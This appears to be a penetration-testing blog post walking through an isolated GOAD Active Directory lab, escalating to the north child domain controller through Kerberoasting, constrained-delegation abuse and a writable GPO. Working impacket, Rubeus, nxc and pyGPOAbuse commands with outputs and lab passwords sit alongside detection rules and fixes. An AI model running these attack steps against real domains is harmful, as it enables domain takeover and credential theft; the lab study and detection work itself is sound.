Series · 4 partsAssessing Active DirectoryPart 2 · You are here
  1. 1GOAD Part 1: From Zero Credentials to the Attack Graph
  2. 2GOAD Part 2: Owning the NORTH Domain ControllerYou are here
  3. 3GOAD Part 3: Walking the ACL Chain to the Forest Root
  4. 4GOAD Part 4: Owning essos.local Across the Forest Trust

Moving from a foothold to the Domain Controller

At the end of Part 1, I had working credentials across all three GOAD domains and a full BloodHound dataset. In this part, I focus on north.sevenkingdoms.local and turn our low-privileged samwell.tarly account into Administrator on DC02 (winterfell, 192.168.56.11).

When I looked at the BloodHound graph for NORTH, two separate escalation paths stood out, and both end right on DC02. The first path goes through a Kerberoastable service account that has constrained delegation configured to the Domain Controller. The second path uses a Group Policy Object (StarkWallpaper) that samwell.tarly has permission to edit. Below, I walk through both paths from my Kali box and note how to detect and close each one.

NORTH · TWO PATHS FROM A FOOTHOLD TO THE DOMAIN CONTROLLER jon.snow SPN → cracked constrained delegation S4U2Self + S4U2Proxy impersonate Administrator samwell.tarly WriteDacl StarkWallpaper GPO domain-linked scheduled task as SYSTEM DC02 · winterfell · .11 Domain Controller Administrator / SYSTEM
Two independent paths from an ordinary north.sevenkingdoms.local account to control of DC02: abusing constrained delegation through a cracked service account, or modifying a domain-linked GPO.
Official GOAD overall attack map detailing the lateral movement vectors across SevenKingdoms, North, and Essos domains
GOAD attack map The complete official attack matrix from Orange Cyberdefense. In the NORTH domain, Kerberoasting and GPO modification provide two parallel vectors directly into DC02 (winterfell).

North domain baseline and defensive posture

The official GOAD documentation allocates two Windows Server 2019 servers to the north.sevenkingdoms.local child domain:

HostIPRoleOSWindows DefenderPrimary Vectors
DC02 (winterfell)192.168.56.11Child DC, KDC, DNSWindows Server 2019EnabledConstrained Delegation (S4U2Proxy), GPO Abuse (StarkWallpaper)
SRV02 (castelblack)192.168.56.22Member Server, IIS, MSSQLWindows Server 2019DisabledWeb upload, MSSQL linked server pivot

[!NOTE] Even though Windows Defender is Enabled on DC02, neither Kerberoasting nor Kerberos Constrained Delegation (S4U2Self + S4U2Proxy) triggers an antivirus detection. Because Kerberos ticket forging and protocol transition operate strictly within in-memory LSASS sessions and Kerberos ASN.1 network traffic, on-disk signature scanning is completely blind to this escalation path.

Step 1: Kerberoasting the service accounts

Any authenticated domain user can ask the KDC for a service ticket (TGS-REP) for any account with a registered Service Principal Name (SPN). Because the KDC encrypts that service ticket with the target service account’s hash, we can try to crack the password offline (MITRE T1558.003). Using samwell.tarly from Part 1, I list the SPN accounts in north:

$ impacket-GetUserSPNs north.sevenkingdoms.local/samwell.tarly:Heartsbane -dc-ip 192.168.56.11
ServicePrincipalName                                 Name         MemberOf                        Delegation
---------------------------------------------------  -----------  ------------------------------  -----------
HTTP/eyrie.north.sevenkingdoms.local                 sansa.stark  CN=Stark,CN=Users,...
CIFS/thewall.north.sevenkingdoms.local               jon.snow     CN=Night Watch,CN=Users,...     constrained
HTTP/thewall.north.sevenkingdoms.local               jon.snow     CN=Night Watch,CN=Users,...     constrained
MSSQLSvc/castelblack.north.sevenkingdoms.local       sql_svc                                      
MSSQLSvc/castelblack.north.sevenkingdoms.local:1433  sql_svc                                      

Next, I request the tickets with -request and run them through hashcat (-m 13100):

$ impacket-GetUserSPNs north.sevenkingdoms.local/samwell.tarly:Heartsbane -dc-ip 192.168.56.11 -request -outputfile kerb.hashes
$ hashcat -m 13100 kerb.hashes /usr/share/wordlists/rockyou.txt
$krb5tgs$23$*jon.snow$NORTH.SEVENKINGDOMS.LOCAL$...*...:iknownothing

Three user accounts have SPNs (sansa.stark, jon.snow, and sql_svc), and jon.snow cracks right away to iknownothing. sql_svc does not crack against rockyou.txt because its password in the GOAD provisioning files is YouWillNotKerboroast1ngMe..., which is a good example of how a long password stops Kerberoasting cold. Cracking jon.snow is all we need here because of that constrained label in the Delegation column.

BloodHound Cypher: Hunting Kerberoastable delegation accounts

In an enterprise environment with thousands of objects, manual inspection is inefficient. The following Cypher query in BloodHound CE instantly surfaces users with registered SPNs who also hold delegation rights:

MATCH (u:User)
WHERE u.hasspn = true AND u.allowedtodelegate IS NOT NULL
RETURN u.name AS ServiceAccount, u.serviceprincipalnames AS SPNs, u.allowedtodelegate AS TargetSPNs

Windows & PowerShell tool equivalents

If operating from a domain-joined Windows foothold rather than a Linux host running Impacket, the same enumeration and ticket extraction can be executed via ActiveDirectory PowerShell, PowerView, or Rubeus:

# ActiveDirectory module (PowerShell)
Get-ADUser -Filter {ServicePrincipalName -like "*"} -Properties ServicePrincipalName, msDS-AllowedToDelegateTo |
    Select-Object SamAccountName, ServicePrincipalName, msDS-AllowedToDelegateTo

# PowerView (in-memory recon)
Get-DomainUser -SPN | Select-Object samaccountname, serviceprincipalname, msds-allowedtodelegateto

# Rubeus (in-memory Kerberoast request directly to console)
Rubeus.exe kerberoast /user:jon.snow /nowrap

Detection: Kerberoasting shows up as a burst of TGS-REQ requests asking for RC4 (etype 23 / 0x17) encryption, logged as Event ID 4769 on the DC. If a user account suddenly requests tickets for every SPN in the domain, or asks for 0x17 encryption when AES (0x12) is the baseline, you have a clear signal.

Control: Run services under group-managed service accounts (gMSAs), which use 120-character passwords rotated automatically by Windows. If an application requires a standard user account with an SPN, give it a 25+ character random password and disable RC4 encryption on the account.

[!TIP] In addition to constrained delegation, the official GOAD design provisions jon.snow as sysadmin on CASTELBLACK (192.168.56.22), which maintains an active SQL Server linked-server mapping directly into SRV03 (braavos.essos.local). For the full cross-forest database lateral movement walk-through bypassing Kerberos trust boundaries entirely, see Cross-Forest Pivoting via SQL Server Linked Servers.

Step 2: Constrained delegation to the Domain Controller

Having jon.snow’s password matters because of what the KDC trusts him to do. (If you want a deeper look at how S4U2Self and S4U2Proxy work on the wire, I wrote a companion article on Inside Kerberos Delegation: Why Multi-Tier Windows Apps Need It (and Why It Breaks).) First, I query LDAP to see the exact delegation configuration in north:

$ nxc ldap 192.168.56.11 -u jon.snow -p iknownothing -d north.sevenkingdoms.local --find-delegation
AccountName   AccountType  DelegationType                      DelegationRightsTo
------------  -----------  ----------------------------------  ----------------------------------------
jon.snow      Person       Constrained w/ Protocol Transition  CIFS/winterfell, CIFS/winterfell.north...
CASTELBLACK$  Computer     Constrained                         HTTP/winterfell, HTTP/winterfell.north...

jon.snow is configured for constrained delegation with protocol transition (TrustedToAuthForDelegation) targeting CIFS/winterfell, which is the SMB service on the Domain Controller (DC02) itself. Because protocol transition is enabled, jon.snow can use S4U2Self to obtain a forwardable ticket on behalf of any user without that user ever logging in, and then pass it to S4U2Proxy to get a CIFS/winterfell.north.sevenkingdoms.local ticket as Administrator:

$ impacket-getST -spn CIFS/winterfell.north.sevenkingdoms.local \
    -impersonate Administrator 'north.sevenkingdoms.local/jon.snow:iknownothing' -dc-ip 192.168.56.11
[*] Getting TGT for user
[*] Impersonating Administrator
[*]     Requesting S4U2self
[*]     Requesting S4U2Proxy
[*] Saving ticket in Administrator@CIFS_winterfell.north.sevenkingdoms.local@NORTH.SEVENKINGDOMS.LOCAL.ccache

I export that .ccache ticket into KRB5CCNAME and pass it to nxc smb against winterfell.north.sevenkingdoms.local:

$ export KRB5CCNAME=Administrator@CIFS_winterfell.north.sevenkingdoms.local@NORTH.SEVENKINGDOMS.LOCAL.ccache
$ nxc smb winterfell.north.sevenkingdoms.local -k --use-kcache --shares
SMB  winterfell.north.sevenkingdoms.local  445  WINTERFELL  [+] north.sevenkingdoms.local\Administrator from ccache (Pwn3d!)
SMB  winterfell.north.sevenkingdoms.local  445  WINTERFELL  ADMIN$  READ,WRITE  Remote Admin
SMB  winterfell.north.sevenkingdoms.local  445  WINTERFELL  C$      READ,WRITE  Default share

With read/write access to ADMIN$ and C$ as Administrator on DC02, running impacket-secretsdump -k -no-pass with the same Kerberos ticket dumps NTDS.dit and every hash in north.sevenkingdoms.local. We never needed Administrator’s password, just jon.snow’s password and the delegation rule.

Protocol wire mechanics: S4U2Self and S4U2Proxy under the hood ([MS-SFU])

The transition from a compromised service account hash to Domain Admin on DC02 is governed by Microsoft Kerberos Protocol Extensions [MS-SFU]:

  1. S4U2Self (PA-FOR-USER):

    • The service account (jon.snow) asks the KDC for a service ticket to himself on behalf of an arbitrary user (Administrator).
    • The Kerberos TGS-REQ includes the PA-FOR-USER pre-authentication padata structure, which contains the target userName (Administrator), userRealm, and an HMAC checksum computed using jon.snow’s long-term secret key.
    • The KDC verifies the checksum. It then inspects jon.snow’s userAccountControl attribute: if the TRUSTED_TO_AUTH_FOR_DELEGATION bit (0x1000000) is asserted (Protocol Transition), the KDC marks the issued TGS ticket with the FORWARDABLE flag (0x40000000).
    • Security control: If the target identity is a member of Protected Users or has Account is sensitive and cannot be delegated (NOT_DELEGATED 0x100000), the KDC issues the ticket without the FORWARDABLE flag, terminating the exploit chain immediately.
  2. S4U2Proxy (Constrained Forwarding):

    • With a forwardable ticket in hand, jon.snow initiates a second TGS-REQ targeting the destination service (CIFS/winterfell.north.sevenkingdoms.local).
    • The previously obtained forwardable Administrator ticket is embedded directly inside the additional-tickets field of the request.
    • The KDC verifies that the requested SPN matches an entry listed in jon.snow’s msDS-AllowedToDelegateTo multi-valued attribute.
    • Upon verification, the KDC issues a valid CIFS service ticket for winterfell impersonating Administrator. To maintain an audit trail, the KDC populates the TransitedServices PAC buffer with jon.snow, recording which intermediary requested the proxy delegation.

Windows & C# tool equivalents (Rubeus)

On Windows endpoints, Rubeus executes this protocol transition entirely in memory and injects the forged ticket directly into the current logon session (/ptt):

# Execute S4U2Self + S4U2Proxy and pass the resulting ticket into the current session
Rubeus.exe s4u /user:jon.snow /rc4:iknownothing /impersonateuser:Administrator /msdsspn:CIFS/winterfell.north.sevenkingdoms.local /ptt

# Verify the ticket is loaded in the Windows Kerberos cache
klist

# Connect to the Domain Controller via SMB
dir \\winterfell.north.sevenkingdoms.local\C$

Detection: An S4U2Self + S4U2Proxy sequence generates two consecutive Event ID 4769 logs on the DC: one where jon.snow requests a ticket to himself on behalf of Administrator, and a second where he requests a ticket to CIFS/winterfell with the TransitedServices field populated. Also monitor LDAP changes to msDS-AllowedToDelegateTo and userAccountControl.

Control: Avoid TrustedToAuthForDelegation whenever possible, and never point constrained delegation at a Domain Controller SPN (CIFS/, LDAP/, HOST/). Just as importantly, check “Account is sensitive and cannot be delegated” on all Domain Admin accounts (or place them in the Protected Users security group) so the KDC refuses to impersonate them during S4U2Self.

Step 3: Abusing a writable GPO

The second path to DC02 does not touch Kerberos at all. In our BloodHound data from Part 1, samwell.tarly had WriteDacl, WriteOwner, and GenericWrite permissions over the StarkWallpaper GPO. (I break down how these ACE bitmasks and security descriptors work in LDAP in Active Directory as a Directed Graph: How Security Descriptors and Object ACLs Actually Work.) To see which machines that GPO affects, I check where it is linked (MITRE T1484.001):

$ ldapsearch -x -H ldap://192.168.56.11 -D 'samwell.tarly@north...' -w Heartsbane \
    -b "DC=north,DC=sevenkingdoms,DC=local" "(gPLink=*)" dn gPLink
dn: DC=north,DC=sevenkingdoms,DC=local
gPLink: [LDAP://cn={B4BB975E-77E3-4D76-B30B-7D5433AAA3BD},cn=policies,cn=system,...]

Because {B4BB975E-77E3-4D76-B30B-7D5433AAA3BD} (StarkWallpaper) is linked directly to DC=north,DC=sevenkingdoms,DC=local, every machine in the domain applies it, including DC02. Anyone who can edit that GPO can push an immediate scheduled task that runs as NT AUTHORITY\SYSTEM. I test this with pyGPOAbuse using a harmless marker file command:

$ python3 pygpoabuse.py north.sevenkingdoms.local/samwell.tarly:Heartsbane \
    -gpo-id B4BB975E-77E3-4D76-B30B-7D5433AAA3BD -dc-ip 192.168.56.11 \
    -command 'cmd.exe /c echo jankesec_poc > C:\jankesec_poc.txt' -taskname jankesec_poc
[+] ScheduledTask jankesec_poc created!

Checking SYSVOL and the GPO’s versionNumber attribute confirms the task was written into the policy:

$ smbclient //192.168.56.11/SysVol -U 'north.../samwell.tarly%Heartsbane' \
    -c 'ls "...\{B4BB975E-...}\Machine\Preferences\ScheduledTasks\"'
  ScheduledTasks.xml                  A     1797  Tue Nov  3 18:58:23 2026

# versionNumber on the GPO object incremented from 131073 to 131074

At the next Group Policy refresh cycle, DC02 pulls ScheduledTasks.xml from SYSVOL and runs the command as NT AUTHORITY\SYSTEM. After verifying the write, I cleaned up the test task right away with pyGPOAbuse.

BloodHound Cypher: Locating writable domain-linked GPOs

To find users or groups that can modify Group Policy Objects applied to the domain root or Domain Controllers OU:

MATCH (u:User)-[r:GenericWrite|GenericAll|WriteDacl|WriteOwner]->(g:GPO)-[:GpLink]->(d:Domain)
RETURN u.name AS Principal, type(r) AS AbuseRight, g.name AS GPOName, d.name AS LinkedContainer

Windows & C# tool equivalents (SharpGPOAbuse & PowerView)

From a Windows system, the ACL check and scheduled task injection can be performed using PowerView and SharpGPOAbuse without touching Python:

# PowerView: verify write permissions over StarkWallpaper GPO
Get-DomainGPO -Identity "StarkWallpaper" | Get-DomainObjectAcl -ResolveGUIDs |
    Where-Object { $_.SecurityIdentifier -eq (Convert-NameToSid "samwell.tarly") }

# SharpGPOAbuse: inject an immediate computer scheduled task running as SYSTEM
SharpGPOAbuse.exe --AddComputerTask --TaskName "jankesec_poc" --Author "NT AUTHORITY\SYSTEM" `
    --Command "cmd.exe" --Arguments "/c echo jankesec_poc > C:\jankesec_poc.txt" `
    --GPOName "StarkWallpaper"

# Force immediate Group Policy engine refresh on the DC (for testing)
Invoke-Command -ComputerName winterfell.north.sevenkingdoms.local -ScriptBlock { gpupdate /force }

Detection: Modifying a GPO triggers Event ID 5136 on the DC when versionNumber and gPCMachineExtensionNames are updated in LDAP, alongside SMB file creation events inside SYSVOL\...\Machine\Preferences\ScheduledTasks\ScheduledTasks.xml. If a GPO suddenly gains the Scheduled Tasks CSE GUID ({CAB54552-DEEA-4691-817E-ED4A4D1AFC72}), treat it as a high-priority alert.

Control: Audit nTSecurityDescriptor on every GPO container under CN=Policies,CN=System and on its matching SYSVOL folder, removing WriteDacl, WriteOwner, and GenericWrite for non-admin accounts. Also avoid linking general workstation GPOs at the domain root where Domain Controllers sit underneath them.

Defensive telemetry and Event ID reference

Monitoring this sequence requires observing both LDAP directory modifications and Kerberos ticket operations:

Attack StepWindows Event IDEvent DescriptionDecisive Telemetry Fields
Kerberoasting (jon.snow)4769Kerberos Service Ticket RequestServiceName: CIFS/thewall, TicketEncryptionType: 0x17 (RC4), TicketOptions: 0x40810000
S4U2Self Impersonation4769Ticket Request to SelfServiceName: jon.snow, TargetUserName: Administrator
S4U2Proxy Ticket Forgery4769Delegated Service TicketServiceName: CIFS/winterfell, TransitedServices populated with intermediary service
GPO LDAP DACL Alteration5136Directory Service Object ModifiedAttributeLDAPDisplayName: nTSecurityDescriptor on CN={B4BB975E-...}
GPO Scheduled Task Push4698 / 4702Scheduled Task Created / UpdatedTaskName: \jankesec_poc, ClientProcessId under taskeng.exe / svchost.exe
SMB Lateral Movement4624Successful LogonLogonType: 3 (Network), AuthenticationPackage: Kerberos, AccountName: Administrator

SIEM and SOC detection rules

Engineering high-fidelity detections for these vectors requires targeted queries combining Event IDs, access masks, and ticket flags:

1. Splunk: Kerberoasting with RC4 (Event ID 4769)

Identifies spikes in RC4-encrypted Kerberos ticket requests (Ticket_Encryption_Type=0x17) typical of automated Kerberoasting tools:

index=wineventlog EventCode=4769 Ticket_Encryption_Type=0x17 Service_Name!="*$"
| stats count dc(Service_Name) as distinct_spns values(Service_Name) as targets by src_ip, Account_Name
| where distinct_spns > 3 OR count > 5

2. Splunk: S4U2Proxy Protocol Transition Anomaly (Event ID 4769)

Detects constrained delegation ticket requests where the TransitedServices PAC attribute indicates ticket forwarding through an intermediary:

index=wineventlog EventCode=4769
| eval TransitedServices=coalesce(Transited_Services, TransitedServices, "-")
| search TransitedServices!="-" Service_Name="CIFS/*"
| table _time, ComputerName, Account_Name, Service_Name, TransitedServices, Ticket_Options

3. Splunk: GPO DACL / Attribute Modification (Event ID 5136)

Flags unauthorized directory service modifications to Group Policy containers under CN=Policies,CN=System:

index=wineventlog EventCode=5136 ObjectDN="*CN=Policies,CN=System,DC=*"
| search AttributeLDAPDisplayName IN ("nTSecurityDescriptor", "versionNumber", "gPCMachineExtensionNames")
| table _time, SubjectUserName, ObjectDN, AttributeLDAPDisplayName, OperationType

4. Sigma rule snippet: GPO scheduled task extension addition

title: Potential Malicious GPO Scheduled Task CSE Modification
status: experimental
description: Detects LDAP modifications adding Scheduled Tasks Client Side Extension GUID to a GPO
logsource:
  product: windows
  service: security
detection:
  selection:
    EventID: 5136
    ObjectDN|contains: 'CN=Policies,CN=System'
    AttributeLDAPDisplayName: 'gPCMachineExtensionNames'
    AttributeValue|contains: '{CAB54552-DEEA-4691-817E-ED4A4D1AFC72}'
  condition: selection
falsepositives:
  - Legitimate enterprise GPO creation by Domain Administrators
level: high

Summary of findings

FindingAccount → targetImpactVerify (from Kali)Control
Roastable SPN with a weak passwordjon.snowOffline-crackable (iknownothing)impacket-GetUserSPNs <dom>/<user>:<pass> -dc-ip <dc> -requestgMSA / 25+ char passwords; disable RC4
Constrained delegation w/ protocol transition to a DC servicejon.snow → CIFS/winterfellForge Administrator ticket for DC02 adminnxc ldap <dc> -u jon.snow -p ... --find-delegationRemove TrustedToAuthForDelegation; mark admins sensitive/non-delegable
WriteDacl over a domain-linked GPOsamwell.tarly → StarkWallpaperSYSTEM scheduled task on every north hostldapsearch ... "(gPLink=*)" gPLink + BloodHoundRemove non-admin GPO ACEs; audit 5136; scope GPO links
S4U2Proxy ticket accepted by DC02Administrator (impersonated)ADMIN$/C$ read-write; NTDS.dit reachablenxc smb <dc> -k --use-kcache --sharesProtected Users; AES-only; delegation review

Up next in Part 3

Owning DC02 gives us full control of the north.sevenkingdoms.local child domain. In Part 3, we move up into the parent domain sevenkingdoms.local using the tywin.lannister password recovered from SYSVOL in Part 1: walking the eight-hop ACL chain to KINGSLANDING with shadow credentials, DACL and ownership rewrites, group-membership climbing, and a final Resource-Based Constrained Delegation (RBCD) + DCSync against the forest root.

Evidence and limits

This sequence was executed inside the same isolated GOAD snapshot as Part 1. The post retains the decisive Kerberoast, S4U, SMB, and GPO output, including the identities and target SPNs that make each transition possible. Passwords and hashes shown are GOAD fixtures; they are included only where they prove which credential or ticket was accepted.

The path depends on GOAD’s deliberate service-account passwords, delegation entries, and GPO ownership. It should not be read as a universal route from any child domain to its controller. The GPO change is disruptive outside a lab; the instance was reset from snapshot after validation, and no production policy was modified.

References

Sources & freshness

How current is this note?

Sources checkedNovember 3, 2026

The latest source-review, content-update, or publication date is shown.

ReviewPublic sources reviewed

Primary public records were checked. Environment-specific behavior remains outside the claim unless separately reproduced.